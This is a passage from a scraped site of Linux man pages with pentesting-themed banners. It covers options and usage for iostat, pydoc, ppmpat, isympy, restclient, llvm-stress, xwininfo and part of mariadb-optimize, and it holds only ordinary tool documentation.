dsec/s (dkB/s, dMB/s)
The number of sectors (kilobytes, megabytes) discarded for the device per second.

rqm/s
The number of I/O requests merged per second that were queued to the device.

rrqm/s
The number of read requests merged per second that were queued to the device.

wrqm/s
The number of write requests merged per second that were queued to the device.

drqm/s
The number of discard requests merged per second that were queued to the device.

%rrqm
The percentage of read requests merged together before being sent to the device.

%wrqm
The percentage of write requests merged together before being sent to the device.

%drqm
The percentage of discard requests merged together before being sent to the device.

areq-sz
The average size (in kilobytes) of the I/O requests that were issued to the device.
Note: In previous versions, this field was known as avgrq-sz and was expressed in sectors.

rareq-sz
The average size (in kilobytes) of the read requests that were issued to the device.

wareq-sz
The average size (in kilobytes) of the write requests that were issued to the device.

dareq-sz
The average size (in kilobytes) of the discard requests that were issued to the device.

await
The average time (in milliseconds) for I/O requests issued to the device to be served. This includes the time spent by the requests in queue and the time spent servicing them.

r_await
The average time (in milliseconds) for read requests issued to the device to be served. This includes the time spent by the requests in queue and the time spent servicing them.

w_await
The average time (in milliseconds) for write requests issued to the device to be served. This includes the time spent by the requests in queue and the time spent servicing them.

d_await
The average time (in milliseconds) for discard requests issued to the device to be served. This includes the time spent by the requests in queue and the time spent servicing them.

f_await
The average time (in milliseconds) for flush requests issued to the device to be served. The block layer combines flush requests and executes at most one at a time. Thus flush operations could be twice as long: Wait for current flush request, then execute it, then wait for the next one.

aqu-sz
The average queue length of the requests that were issued to the device.
Note: In previous versions, this field was known as avgqu-sz.

%util
Percentage of elapsed time during which I/O requests were issued to the device (bandwidth utilization for the device). Device saturation occurs when this value is close to 100% for devices serving requests serially. But for devices serving requests in parallel, such as RAID arrays and modern SSDs, this number does not reflect their performance limits.

OPTIONS

-c
Display the CPU utilization report.

–compact
Don’t break the Device Utilization Report into sub-reports so that all the metrics get displayed on a single line.

-d
Display the device utilization report.

–dec={ 0 | 1 | 2 }
Specify the number of decimal places to use (0 to 2, default value is 2).

**-f **directory

**+f **directory

Specify an alternative directory for iostat to read devices statistics. Option **-f **tells **iostat **to use only the files located in the alternative directory, whereas option +f tells it to use both the standard kernel files and the files located in the alternative directory to read device statistics.

directory is a directory containing files with statistics for devices managed in userspace. It may contain:

- a “diskstats” file whose format is compliant with that located in “/proc”,

  • statistics for individual devices contained in files whose format is compliant with that of files located in “/sys”.

In particular, the following files located in directory may be used by iostat:

directory/block/device/stat
directory/block/device/partition/stat

partition files must have an entry in directory/dev/block/ directory, e.g.:

directory/dev/block/major:minor –> ../../block/device/partition

**-g ***group_name ***{ ***device *[…] | ALL }
Display statistics for a group of devices. The iostat command reports statistics for each individual device in the list then a line of global statistics for the group displayed as group_name and made up of all the devices in the list. The ALL keyword means that all the block devices defined by the system shall be included in the group.

-H
This option must be used with option -g and indicates that only global statistics for the group are to be displayed, and not statistics for individual devices in the group.

-h
This option is equivalent to specifying –human –pretty.

–human
Print sizes in human readable format (e.g. 1.0k, 1.2M, etc.) The units displayed with this option supersede any other default units (e.g. kilobytes, sectors…) associated with the metrics.

**-j { ID | LABEL | PATH | UUID | … } [ ***device *[…] | ALL ]
Display persistent device names. Keywords ID, LABEL, etc. specify the type of the persistent name. These keywords are not limited, only prerequisite is that directory with required persistent names is present in /dev/disk. Optionally, multiple devices can be specified in the chosen persistent name type. Because persistent device names are usually long, option –pretty is implicitly set with this option.

-k
Display statistics in kilobytes per second.

-m
Display statistics in megabytes per second.

-N
Display the registered device mapper names for any device mapper devices. Useful for viewing LVM2 statistics.

-o JSON
Display the statistics in JSON (JavaScript Object Notation) format. JSON output field order is undefined, and new fields may be added in the future.

-p [ { device[,…] | ALL } ]
Display statistics for block devices and all their partitions that are used by the system. If a device name is entered on the command line, then statistics for it and all its partitions are displayed. Last, the ALL keyword indicates that statistics have to be displayed for all the block devices and partitions defined by the system, including those that have never been used. If option -j is defined before this option, devices entered on the command line can be specified with the chosen persistent name type.

–pretty
Make the Device Utilization Report easier to read by a human. The device name will be printed on the right side. The report may also be broken into sub-reports if there are many metrics to display (use –compact option to prevent this).

-s
Display a short (narrow) version of the report that should fit in 80 characters wide screens.

-t
Print the time for each report displayed. The timestamp format may depend on the value of the **S_TIME_FORMAT **environment variable (see below).

-V
Print version number then exit.

-x
Display extended statistics.

-y
Omit first report with statistics since system boot, if displaying multiple records at given interval.

-z
Tell iostat to omit output for any devices for which there was no activity during the sample period.

ENVIRONMENT

The iostat command takes into account the following environment variables:

POSIXLY_CORRECT
When this variable is set, transfer rates are shown in 512-byte blocks instead of the default 1K blocks.

S_COLORS
By default statistics are displayed in color when the output is connected to a terminal. Use this variable to change the settings. Possible values for this variable are never, *always *or auto (the latter is equivalent to the default settings).
Please note that the color (being red, yellow, or some other color) used to display a value is not indicative of any kind of issue simply because of the color. It only indicates different ranges of values.

S_COLORS_SGR
Specify the colors and other attributes used to display statistics on the terminal. Its value is a colon-separated list of capabilities that defaults to I=32;22:N=34;1:W=35;1:X=31;1:Z=34;22. Supported capabilities are:

I=
SGR (Select Graphic Rendition) substring for device names.

N=
SGR substring for non-zero statistics values.

W= (or M=)
SGR substring for percentage values in the range from 75% to 90% (or in the range 10% to 25% depending on the metric’s meaning).

X= (or H=)
SGR substring for percentage values greater than or equal to 90% (or lower than or equal to 10% depending on the metric’s meaning).

Z=
SGR substring for zero values.

S_TIME_FORMAT
If this variable exists and its value is ISO then the current locale will be ignored when printing the date in the report header. The iostat command will use the ISO 8601 format (YYYY-MM-DD) instead. The timestamp displayed with option -t will also be compliant with ISO 8601 format.

EXAMPLES

iostat
Display a single history since boot report for all CPU and Devices.

iostat -d 2
Display a continuous device report at two second intervals.

iostat -d 2 6
Display six reports at two second intervals for all devices.

iostat -x sda sdb 2 6
Display six reports of extended statistics at two second intervals for devices sda and sdb.

iostat -p sda 2 6
Display six reports at two second intervals for device sda and all its partitions (sda1, etc.)

BUGS

*/proc *filesystem must be mounted for **iostat **to work.

Kernels older than 2.6.x are no longer supported.

Although iostat speaks of kilobytes (kB), megabytes (MB)…, it actually uses kibibytes (kiB), mebibytes (MiB)… A kibibyte is equal to 1024 bytes, and a mebibyte is equal to 1024 kibibytes.

FILES

*/proc/stat *contains system statistics.
*/proc/uptime *contains system uptime.
*/proc/diskstats *contains disks statistics.
*/sys *contains statistics for block devices.
*/proc/self/mountstats *contains statistics for network filesystems.
*/dev/disk *contains persistent device names.

AUTHOR

Sebastien Godard (sysstat <at> orange.fr)

SEE ALSO

sar(1), pidstat(1), mpstat(1), vmstat(8), tapestat(1), nfsiostat(1), cifsiostat(1)

https://github.com/sysstat/sysstat
https://sysstat.github.io/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1204 - Linux cli command pydoc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pydoc and provides detailed information about the command pydoc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pydoc.

NAME 🖥️ pydoc 🖥️

the Python documentation tool

SYNOPSIS

pydoc3.11 name

pydoc3.11 -k keyword

pydoc3.11 -p port

pydoc3.11 -g

pydoc3.11 -w module […]

DESCRIPTION

pydoc3.11 name Show text documentation on something. name may be the name of a Python keyword, topic, function, module, or package, or a dotted reference to a class or function within a module or module in a package. If name contains a ‘/’, it is used as the path to a Python source file to document. If name is ‘keywords’, ’topics’, or ‘modules’, a listing of these things is displayed.

pydoc3.11 -k keyword Search for a keyword in the synopsis lines of all available modules.

pydoc3.11 -p port Start an HTTP server on the given port on the local machine.

pydoc3.11 -g Pop up a graphical interface for finding and serving documentation.

pydoc3.11 -w name […] Write out the HTML documentation for a module to a file in the current directory. If name contains a ‘/’, it is treated as a filename; if it names a directory, documentation is written for all the contents.

AUTHOR

Moshe Zadka, based on “pydoc –help”

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1205 - Linux cli command ppmpat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmpat and provides detailed information about the command ppmpat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmpat.

.

NAME 🖥️ ppmpat 🖥️

make a pretty PPM image

SYNOPSIS

ppmpat [{-gingham2|-g2} | {-gingham3|-g3} | -madras | -tartan | -poles | -squig | -camo | -anticamo | -argyle1 | -argyle2] [-color colorlist] [-mesh] [-randomseed integer]

width height

You can abbreviate any option to its shortest unique prefix.

DESCRIPTION

This program is part of Netpbm(1) .

ppmpat produces a PPM of the specified width and height, with a pattern in it.

You could, for example, use it to create wallpaper for a computer screen.

One use of this program is as an example of the Netpbm library drawing(1) functions, which it uses.

Some of the patterns have large numbers of colors, so if you want a simpler pattern, use pnmquant on the output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmpat recognizes the following command line options:

Pattern Specification

Specify the pattern type with these options. One pattern type must be specified.

-gingham2 -g2
A gingham check pattern. Can be tiled.

If you specify -color, give two colors: background and foreground, in that order.

-gingham3 -g3
A slightly more complicated gingham. Can be tiled.

If you specify -color, give three colors: background and two foregrounds, in that order.

-madras
A madras plaid. Can be tiled.

If you specify -color, give three colors: background and two foregrounds, in that order.

-tartan
A tartan plaid. Can be tiled.

If you specify -color, give three colors: background and two foregrounds, in that order.

-poles
Color gradients centered on randomly-placed poles: a Voronoi diagram.

(There are many examples of this pattern in nature. One is the hide of a giraffe).

If you specify -color, give two or more colors.

-squig
Squiggley tubular pattern. Can be tiled.

If you specify -color, give three or more colors. The first is the background color.

-camo
Camouflage pattern.

If you specify -color, give three or more colors. The first is the background color; the others are colors for the leafy foreground shapes. The foreground shapes will probably occupy nearly the entire image, so that the background color is barely visible.

-anticamo
Anti-camouflage pattern - like -camo, but ultra-bright colors.

If you specify -color, this is the same as -camo.

-argyle1
A diamond argyle pattern, without a cross through the diamond, with one diamond. Can be tiled.

If you specify -color, give two colors: background and foreground, in that order.

This option was new in Netpbm 10.78 (March 2017).

-argyle2
A diamond argyle pattern, with a cross through the diamond, with one diamond. Can be tiled.

If you specify -color, give three colors: background, foreground, and stripe, in that order.

This option was new in Netpbm 10.78 (March 2017).

Other Options

-color colorlist
This specifies the colors to appear in the pattern.

If you do not specify this option, ppmpat chooses colors at random.

Different patterns take different numbers of colors. Some can involve variable numbers of colors. If you specify a number of colors incompatible with the pattern you specify, ppmpat fails, telling you how many colors to specify.

colorlist is a comma-separated list of colors.

Specify each color as described for the argument of the pnm_parsecolor() library routine .

Example: -color red, green, rgbi:1.0/0.5/.25 .

This option was new in Netpbm 10.78 (March 2017).

-mesh
This option affects the patterns generated by the -gingham2, -gingham3, -madras, and -tartan. When this option is not specified, when two colors intersect, the program mixes them and puts the average in the rectangular intersection region. with -mesh, the program fills that region with a checkerboard pattern consisting of the two colors. The resulting image looks like a true woven fabric, with separate threads for the separate colors.

This option was new in Netpbm 10.97 (December 2021).

-randomseed integer
This is the seed for the random number generator that generates the pixels.

Use this to ensure you get the same image on separate invocations.

By default, ppmpat uses a seed derived from the time of day and process ID, which gives you fairly uncorrelated results in multiple invocations.

This option was new in Netpbm 10.61 (December 2012).

REFERENCES

Some of the patterns are from “Designer’s Guide to Color 3” by Jeanne Allen.

SEE ALSO

pnmtile(1) , pnmquant(1) , ppmmake(1) , ppmrainbow(1) , pamgradient(1) , ppm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmpat.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1206 - Linux cli command isympy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command isympy and provides detailed information about the command isympy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the isympy.

NAME 🖥️ isympy 🖥️

interactive shell for SymPy

SYNOPSIS

isympy

[-c | –console] [-p ENCODING | –pretty ENCODING] [-t TYPE | –types TYPE] [-o ORDER | –order ORDER] [-q | –quiet] [-d | –doctest] [-C | –no-cache] [-a | –auto] [-D | –debug] [ – | PYTHONOPTIONS]

isympy

[ {-h | –help} | {-v | –version} ]

DESCRIPTION

isympy is a Python shell for SymPy. It is just a normal python shell (ipython shell if you have the ipython package installed) that executes the following commands so that you don’t have to:

>>> from __future__ import division
>>> from sympy import *
>>> x, y, z = symbols("x,y,z")
>>> k, m, n = symbols("k,m,n", integer=True)

So starting isympy is equivalent to starting python (or ipython) and executing the above commands by hand. It is intended for easy and quick experimentation with SymPy. For more complicated programs, it is recommended to write a script and import things explicitly (using the “from sympy import sin, log, Symbol, …” idiom).

OPTIONS

-c SHELL, **–console=**SHELL
Use the specified shell (python or ipython) as console backend instead of the default one (ipython if present or python otherwise).

Example: isympy -c python

SHELL could be either ‘ipython’ or ‘python’

-p ENCODING, **–pretty=**ENCODING
Setup pretty printing in SymPy. By default, the most pretty, unicode printing is enabled (if the terminal supports it). You can use less pretty ASCII printing instead or no pretty printing at all.

Example: isympy -p no

ENCODING must be one of ‘unicode’, ‘ascii’ or ’no’.

-t TYPE, **–types=**TYPE
Setup the ground types for the polys. By default, gmpy ground types are used if gmpy2 or gmpy is installed, otherwise it falls back to python ground types, which are a little bit slower. You can manually choose python ground types even if gmpy is installed (e.g., for testing purposes).

Note that sympy ground types are not supported, and should be used only for experimental purposes.

Note that the gmpy1 ground type is primarily intended for testing; it the use of gmpy even if gmpy2 is available.

This is the same as setting the environment variable SYMPY_GROUND_TYPES to the given ground type (e.g., SYMPY_GROUND_TYPES=‘gmpy’)

The ground types can be determined interactively from the variable sympy.polys.domains.GROUND_TYPES inside the isympy shell itself.

Example: isympy -t python

TYPE must be one of ‘gmpy’, ‘gmpy1’ or ‘python’.

-o ORDER, **–order=**ORDER
Setup the ordering of terms for printing. The default is lex, which orders terms lexicographically (e.g., x**2 + x + 1). You can choose other orderings, such as rev-lex, which will use reverse lexicographic ordering (e.g., 1 + x + x**2).

Note that for very large expressions, ORDER=‘none’ may speed up printing considerably, with the tradeoff that the order of the terms in the printed expression will have no canonical order

Example: isympy -o rev-lax

ORDER must be one of ’lex’, ‘rev-lex’, ‘grlex’, ‘rev-grlex’, ‘grevlex’, ‘rev-grevlex’, ‘old’, or ’none’.

-q, –quiet
Print only Python’s and SymPy’s versions to stdout at startup, and nothing else.

-d, –doctest
Use the same format that should be used for doctests. This is equivalent to ‘isympy -c python -p no’.

-C, –no-cache
Disable the caching mechanism. Disabling the cache may slow certain operations down considerably. This is useful for testing the cache, or for benchmarking, as the cache can result in deceptive benchmark timings.

This is the same as setting the environment variable SYMPY_USE_CACHE to ’no’.

-a, –auto
Automatically create missing symbols. Normally, typing a name of a Symbol that has not been instantiated first would raise NameError, but with this option enabled, any undefined name will be automatically created as a Symbol. This only works in IPython 0.11.

Note that this is intended only for interactive, calculator style usage. In a script that uses SymPy, Symbols should be instantiated at the top, so that it’s clear what they are.

This will not override any names that are already defined, which includes the single character letters represented by the mnemonic QCOSINE (see the “Gotchas and Pitfalls” document in the documentation). You can delete existing names by executing “del name” in the shell itself. You can see if a name is defined by typing “’name’ in globals()”.

The Symbols that are created using this have default assumptions. If you want to place assumptions on symbols, you should create them using symbols() or var().

Finally, this only works in the top level namespace. So, for example, if you define a function in isympy with an undefined Symbol, it will not work.

-D, –debug
Enable debugging output. This is the same as setting the environment variable SYMPY_DEBUG to ‘True’. The debug status is set in the variable SYMPY_DEBUG within isympy.

PYTHONOPTIONS
These options will be passed on to ipython (1) shell. Only supported when ipython is being used (standard python shell not supported).

Two dashes (–) are required to separate PYTHONOPTIONS from the other isympy options.

For example, to run iSymPy without startup banner and colors:

isympy -q -c ipython – –colors=NoColor

-h, –help
Print help output and exit.

-v, –version
Print isympy version information and exit.

FILES

${HOME}/.sympy-history
Saves the history of commands when using the python shell as backend.

BUGS

The upstreams BTS can be found at ⟨https://github.com/sympy/sympy/issues⟩ Please report all bugs that you find in there, this will help improve the overall quality of SymPy.

SEE ALSO

ipython(1), python(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1207 - Linux cli command restclient

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command restclient and provides detailed information about the command restclient, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the restclient.

NAME 🖥️ restclient 🖥️

simple REST client for Ruby

SYNOPSIS

restclient [options] [username] [password]

DESCRIPTION

This library provides a simple way to access RESTful web services in Ruby.

OPTIONS

get url|name
To get the single information.

put url|name
To put the single information.

post url|name
To put multipart information.

delete url|name
To delete.

SEE ALSO

This program is shipped as part of the librestclient-ruby1.8 library package, you can check its corresponding documentation can be found in the librestclient-ruby-doc package.

AUTHOR

This manual page was written by Deepak Tripathi <[email protected]>, based on the command-line output of this program, for the Debian GNU/Linux system (but may be freely used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1208 - Linux cli command llvm-stress-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-stress-17 and provides detailed information about the command llvm-stress-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-stress-17.

NAME 🖥️ llvm-stress-17 🖥️

stress - generate random .ll files

SYNOPSIS

llvm-stress [-size=filesize] [-seed=initialseed] [-o=outfile]

DESCRIPTION

The llvm-stress tool is used to generate random .ll files that can be used to test different components of LLVM.

OPTIONS

-o filename
Specify the output filename.

-size size
Specify the size of the generated .ll file.

-seed seed
Specify the seed to be used for the randomly generated instructions.

EXIT STATUS

llvm-stress returns 0.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1209 - Linux cli command xwininfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xwininfo and provides detailed information about the command xwininfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xwininfo.

NAME 🖥️ xwininfo 🖥️

window information utility for X

SYNOPSIS

xwininfo [-help] [-id wdid] [-root] [-name wdname] [-int] [-children] [-tree] [-stats] [-bits] [-events] [-size] [-wm] [-shape] [-frame] [-all] [-english] [-metric] [-display host:dpy] [-version]

DESCRIPTION

Xwininfo is a utility for displaying information about windows. Various information is displayed depending on which options are selected. If no options are chosen, -stats is assumed.

The user has the option of selecting the target window with the mouse (by clicking any mouse button in the desired window) or by specifying its window id on the command line with the -id option. Or instead of specifying the window by its id number, the -name option may be used to specify which window is desired by name. There is also a special -root option to quickly obtain information on the screen’s root window.

OPTIONS

-help
Print out the `Usage:’ command syntax summary.

-id wdid
This option allows the user to specify a target window wdid on the command line rather than using the mouse to select the target window. This is very useful in debugging X applications where the target window is not mapped to the screen or where the use of the mouse might be impossible or interfere with the application.

-name wdname
This option allows the user to specify that the window named wdname is the target window on the command line rather than using the mouse to select the target window.

-root
This option specifies that X’s root window is the target window. This is useful in situations where the root window is completely obscured.

-int
This option specifies that all X window ids should be displayed as integer values. The default is to display them as hexadecimal values.

-children
This option causes the root, parent, and children windows’ ids and names of the selected window to be displayed.

-tree
This option is like -children but displays all children recursively.

-stats
This option causes the display of various attributes pertaining to the location and appearance of the selected window. Information displayed includes the location of the window, its width and height, its depth, border width, visual id and class, colormap id if any, map state, backing-store hint, and location of the corners.

-bits
This option causes the display of various attributes pertaining to the selected window’s raw bits and how the selected window is to be stored. Displayed information includes the selected window’s bit gravity, window gravity, backing-store hint, backing-planes value, backing pixel, and whether or not the window has save-under set.

-events
This option causes the selected window’s event masks to be displayed. Both the event mask of events wanted by some client and the event mask of events not to propagate are displayed.

-size
This option causes the selected window’s sizing hints to be displayed. Displayed information includes: for both the normal size hints and the zoom size hints, the user supplied location if any; the program supplied location if any; the user supplied size if any; the program supplied size if any; the minimum size if any; the maximum size if any; the resize increments if any; and the minimum and maximum aspect ratios if any.

-wm
This option causes the selected window’s window manager hints to be displayed. Information displayed may include whether or not the application accepts input, what the window’s icon window # and name is, where the window’s icon should go, and what the window’s initial state should be.

-shape
This option causes the selected window’s window and border shape extents to be displayed.

-frame
This option causes window manager frames to be considered when manually selecting windows.

-metric
This option causes all individual height, width, and x and y positions to be displayed in millimeters as well as number of pixels, based on what the server thinks the resolution is. Geometry specifications that are in +x+y form are not changed.

-english
This option causes all individual height, width, and x and y positions to be displayed in inches (and feet, yards, and miles if necessary) as well as number of pixels. -metric and -english may both be enabled at the same time.

-all
This option is a quick way to ask for all information possible.

-d, -display host:dpy
This option allows you to specify the server to connect to; see X(7).

-version
This option indicates that xwininfo should print its version information and exit.

EXAMPLE

The following is a sample summary taken with no options specified:

xwininfo: Window id: 0x60000f “xterm”

Absolute upper-left X: 2 Absolute upper-left Y: 85 Relative upper-left X: 0 Relative upper-left Y: 25 Width: 579 Height: 316 Depth: 8 Visual: 0x1e Visual Class: PseudoColor Border width: 0 Class: InputOutput Colormap: 0x27 (installed) Bit Gravity State: NorthWestGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +2+85 -699+85 -699-623 +2-623 -geometry 80x24+0+58

ENVIRONMENT

DISPLAY
To get the default host and display number.

SEE ALSO

X(7), xprop(1), xdpyinfo(1), xdriinfo(1), xvinfo(1), glxinfo(1)

BUGS

Using -stats -bits shows some redundant information.

The -geometry string displayed must make assumptions about the window’s border width and the behavior of the application and the window manager. As a result, the location given is not always correct.

AUTHOR

Mark Lillibridge, MIT Project Athena

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1210 - Linux cli command mariadb-optimize

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-optimize and provides detailed information about the command mariadb-optimize, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-optimize.

NAME 🖥️ mariadb-optimize 🖥️

check - a table maintenance program (mysqlcheck is now a symlink to mariadb-check)

SYNOPSIS

**mysqlcheck [options] [**db_name **[**tbl_name …]]

DESCRIPTION

The mysqlcheck client performs table maintenance: It checks, repairs, optimizes, or analyzes tables.

Each table is locked and therefore unavailable to other sessions while it is being processed, although for check operations, the table is locked with a READ lock only. Table maintenance operations can be time-consuming, particularly for large tables. If you use the –databases or –all-databases option to process all tables in one or more databases, an invocation of mysqlcheck might take a long time. (This is also true for mysql_upgrade because that program invokes mysqlcheck to check all tables and repair them if necessary.)

